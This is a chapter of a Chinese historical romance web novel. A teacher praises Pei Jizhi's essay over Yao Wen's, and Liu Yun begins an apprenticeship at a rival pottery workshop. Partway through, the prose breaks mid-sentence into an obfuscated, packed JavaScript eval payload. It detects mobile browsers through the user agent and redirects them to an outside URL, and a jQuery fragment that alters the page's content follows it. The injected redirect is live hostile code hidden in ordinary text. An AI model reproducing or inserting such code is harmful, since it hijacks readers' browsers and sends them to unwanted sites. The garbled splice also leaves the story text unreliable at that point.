听到自己的名字,柳芸的诧异不亚于在场所有人。
春和先生拿起书卷举到眼前细细端详,指尖划过字迹,突然抬头看向柳芸:“这字倒是比往日沉稳了许多,只是这‘釉’字的起笔,倒有几分像…”
话没说完,春和先生仿佛想起来什么,目光扫过另一旁端坐的裴济之,他捏着书卷的手微不可察一顿。
柳芸的心提到嗓子眼,正要辩解。
春和先生却放下卷子笑了:“罢了,你手伤了还能写成这样,想来是有人在旁指点了。”
他举起最后一份卷面:“裴济之这篇文章写得非常优秀,针砭时弊,遣词造句都已经入木三分,我发下来,大家都互相传阅学习。”
姚文之前看到江云锦同裴济之示好结果裴济之还不领情,就对这小子十分看不惯。
他冷哼一声,扭头对同桌兼狗腿子说:“我看先生也是上了年纪了,这裴济之才来了几天学堂,文采再好还能跃过天去?”
狗腿子觉得有道理,附和:“没准人家得到了先生特殊待遇。”
姚文:“你说的对,他现在是柳家的人,没准是先生是看在柳家面子上。”
“啪!”戒尺猛地敲击桌面。
在座的人都吓了一跳。
春和先生耳朵特别好,姚文座次又离他近,好巧不巧被他全听见了。
春和先生皱着眉,抽出姚文的卷子:“这是这次功课完成得最差劲的学生,我将两篇文章放在一起分发下去,通过对比可以更好发现问题。”
姚文刚开始并不知道春和先生拿出的文章正是他自己这份儿。还在洋洋得意和自己的小跟班讨论裴济之走后门的猜测。
可他觉得周围的学子向他投来的目光有些异样,同情?怜悯?
怎么回事?
直到文章传到他手上,姚文低头看见卷首赫然写着自己的大名……
姚文此刻恨不得找个地缝钻进去,他的肥脸上肉抖了抖,但他强装镇定,他坚信一定是裴济之使了手段让先生开后门,对,一定是这样。
他佯装从容地拿起两篇文章,仔细看了起来。
离得近的人看到姚文的脸色越来越难看,捏着卷的手止不住颤抖。
其实,只要看过这两篇文章的人心里都有杆秤,裴济之写得太好了,媲美家中有做官的父辈写的奏章和文书。
将姚文写的一堆狗屁不通的东西与之放在一起简直是云泥之别。
沈素和柳芸也翻过了这两篇文章,沈素此时正趴在柳芸肩头偷偷笑:“姚文写的都是些啥,春和先生也太残忍了。”
柳芸倒是将注意力更多放在裴济之展现出来的才华上,她有些不是滋味。
论文章而言,柳芸已经清楚明白自己天赋是不如他的。
这让她感到有些挫败。
父亲自己是个商人,但最羡慕的就是那些读书人。柳父一直耳提面命让她来进学,就是在她身上寄托了博学的期待。
柳芸自己清楚自己,比起锦绣文章,她更感兴趣的是算学,是如何经营店铺。
裴济之的文学天赋压她一筹,会不会就此得到父亲青眼?
万一他真的考取功名?
柳芸闭上眼睛,有点不敢想。
一堂课下来,众人都各怀心事。
春和先生收拾物什正要走,裴济之却上前走到他身边,朝春和先生作揖。
春和先生见他模样,叹了句:“你这孩子,护人也不知遮掩。你打算让老师是早就看穿了,还是此刻才反应过来?”
裴济之语气淡淡:“实在是受人所托,不得已为之。”
春和先生对这个学生是很看好的,以他的阅历,这少年将来必成大器,他不希望看到他因为私人感情耽误前程。
他叹了口气,拍了拍裴济之的肩膀,语重心长:“不要被儿女情长耽误锦绣前程。”
裴济之知道先生明显是误会他了,但他懒得再解释,这种事情只会越描越黑。
送先生出门之后,他回头正好撞上柳芸。
柳芸狐疑:“你刚才同先生说了什么?是不是把我卖了?”
裴济之:“先生他已经猜到了。”
柳芸仔细端详他神色不似撒谎,又觉得自己怕春和做什么,摆了摆手:“罢了,他发现也没关系。”
末了,她补充:“今日就要去江家陶肆做学徒,你随我一道去。”
她脸上满是不耐烦,一想到要给江云锦打下手她就心烦。
裴济之也不愿意去,他还想温习功课呢,但没办法,他也没有权利提出抗议。
裴济之想起柳芸送他的那箱黄金,心念动了动。
他已经很久没有联系上家人了,或许可以用这笔钱买通关系,联系父亲的旧部。
无论如何,要为以后早做打算。
父亲的案子他一定要再努力一把。
沈素说要同柳芸一道去做学徒,柳芸拒绝了。
“你要是去了,你爹一定能打死我。”
沈素又叮嘱了一堆让她小心谨慎一些。
柳芸很感激朋友的关心,但实在是耳朵都要起茧子了。
好不容易终于上了去江家的马车,柳芸这才长舒一口气。
春桃在一旁看乐了,用帕子捂着嘴笑:“小姐这副样子许久未见了,倒是同从前夫人在时一样,夫人也总是担心您…”
说到后面,春桃看见柳芸没了笑意,意识到自己说错话了,提到柳芸伤心事,赶紧止住话头,闭上了嘴巴。
柳芸想起母亲,母亲身体不好,从前总是在陶肆制陶,没有注意,不知不觉吸收了太多灰尘,落下了病根。
打她有记忆开始,母亲总是缠绵病榻,但母亲总是放心不下她,每次见到她总是絮絮叨叨询问很多,身边的人服侍得尽不尽心,膳食对不对胃口,衣裳是不是最时兴的款式?
以前总是觉得母亲太啰嗦,现在母亲不在了,再也没有人会这样关心自己,柳芸一时怅然若失。
“小姐,我多嘴了。”
春桃气自己嘴快,垂着头,眼泪都要掉下来了。
柳芸感到眼角湿湿的,抹了一把眼泪。
等到了地方,裴济之等在下面准备抱她下马车。
就见到柳芸的眼尾红红的,睫毛上沾着水珠,连鼻尖也泛着粉红。
裴济之没见过柳芸这副样子。
他记忆中的柳大小姐永远是高高在上,目中无人的。
他心头漏跳了一下,脚步扎根在原地。
“你干什么!还不快点!”柳芸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240779|197724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
皱眉。
柳芸杏眼圆瞪,语气冷硬。
裴济之却知道马车上的女子是故作出耀武扬威的样子,来掩饰内心的脆弱。
他不怒反笑,并没有计较她的呵斥,揽住她的腰,将她放到地上。
江家陶肆的小伙计早就得了小主人吩咐,见到停在自家陶肆前的车马装饰华丽,心里对来者身份有了猜测。
江家与柳家乃是死对头,他当然不可能给江家人好脸色。
此刻,小伙计公事公办行礼:“柳小姐,这边请。”
然后小伙计就带着柳芸穿过长长的走廊,走进一间装潢古朴的屋子。
陶泥的味道扑面而来。
一个四十多岁的长相古板的中年男子朝她看了过来,柳芸皱了皱眉,先叫了一声:“杜师傅?”
这位就是当日主持她和江云锦比试的杜师傅。
杜师傅丝毫不意外来者是她,点了点头,指了指角落里的方凳:“你先坐这儿等着吧。”
然后杜师傅又走到门口,对着裴济之等一众跟着来的服侍的丫鬟小厮道:“你家小姐既然是来当学徒的,学徒就要有学徒的样子,你们这些人以后都不许来!”
裴济之闻言,挑了挑眉。
春桃一听,那哪行,她放心不下小姐,叉着腰,指着杜师傅鼻子就开骂:“欸,我家小姐金枝玉叶的,没人照顾万一磕了碰了怎么办,你们陶肆负得起责吗?”
杜师傅冷着脸,丝毫不通融:“如果小姐不愿意的话,就请回吧。我们陶肆供不起你这尊大佛。”
他自己也是个自视甚高的手艺人,一个小丫鬟也敢对他不敬,他难免心里有些不快。
春桃见他毫不动摇,只得望向柳芸,无助地唤她:“小姐……”
柳芸当然也是不乐意的,但自己确实输了江云锦,她一直以来秉持的原则就是愿赌服输,说好了要给对方当学徒,她不会半途而废。
她朝着春桃摇了摇头,站起身吩咐手下人:“你们先回去吧。只需负责接送我即可。”
见她妥协,杜师傅脸色这才缓和几分。
春桃急得跺脚,她就说江云锦不安好心!小姐一个弱女子,万一有什么意外都没人照应!
大丫鬟不走,其他人也不敢动身真的离家。
一群人僵持在门口。
这时,站在一旁的裴济之突兀地打破平静:“是,那我就回府了。”
然后,他一甩袖子,干脆利落,头也不回地离开了。
“你——”春桃连阻止他的话都没来得及出口,她惊得下巴都要掉下来了。
这个裴济之怎么回事!一点都不会看小姐的脸色吗?他就毫不关心小姐的安危吗?
春桃气得脸色煞白。
柳芸也没错过裴济之的举动,她就知道!
她抱着双臂,冷哼一声。
一旦有人开始动作,其他人也就没那么大压力,渐渐众人都散了。
最后只剩下春桃。
柳芸挥了挥手:“你回去吧,留在这儿没用,这是我的命令。”
春桃咬着唇,最后只得无奈地朝柳芸行礼,一步三回头离开。
“行,从今往后的三个月,你要忘记自己柳家大小姐的身份,跟着我干活。”杜师傅面无表情。